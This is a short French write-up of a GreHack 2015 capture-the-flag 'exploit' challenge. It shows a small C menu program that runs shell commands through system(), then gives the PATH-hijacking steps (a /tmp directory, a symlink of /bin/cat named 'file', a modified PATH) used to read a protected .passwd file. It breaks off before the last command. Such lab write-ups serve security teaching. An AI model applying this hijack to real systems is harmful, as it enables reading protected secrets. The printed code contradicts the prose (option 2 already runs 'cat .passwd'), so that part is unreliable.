Exploit 50 - M4st4h'Sh3ll
Voici la première épreuve catégorie “exploit” proposé par l'équipe de la Grehack 2015
Il fallait se connecter en ssh sur un serveur mise à disposition.
Résolution :
Afficher le code source du script
cat main.c
#include <stdio.h> int main(void){ char choice; printf("M4st4h'Sh3ll !\n"); printf("1\t-\tls me I'm famous\n"); printf("2\t-\tfile me I'm famous\n"); printf("3\t-\tstat me I'm famous\n"); choice = fgetc(stdin); switch(choice) { case '1': system("ls -al .passwd"); break; case '2': system("cat .passwd"); break; case '3': system("stat .passwd"); break; } return 0; }
Si on l'exécute on voit :
La première option permet de faire un ls -al sur le fichier en question affichant ainsi les permissions
La seconde option permet de faire un file sur le fichier .password
La dernière option permet de faire un stat sur le fichier .password
Pour résoudre l'épreuve :
On crée un dossier dans /tmp
mkdir /tmp/isileaks
On crée un lien symbolique entre le binaire cat et un fichier de notre répertoire /tmp/isileaks\
ln -s /bin/cat /tmp/isileaks/file
Nous appelons notre fichier file pour permettre la futur exécution.
Nous redéfinissons notre variable d'environnement :
PATH=/tmp/isileaks:$PATH
Quand le système va essayer d'exécuter un binaire il ira chercher en premier dans notre dossier /tmp/isileaks
Il ne nous reste plus qu'a utiliser de nouveau le programme main avec l'option 2 :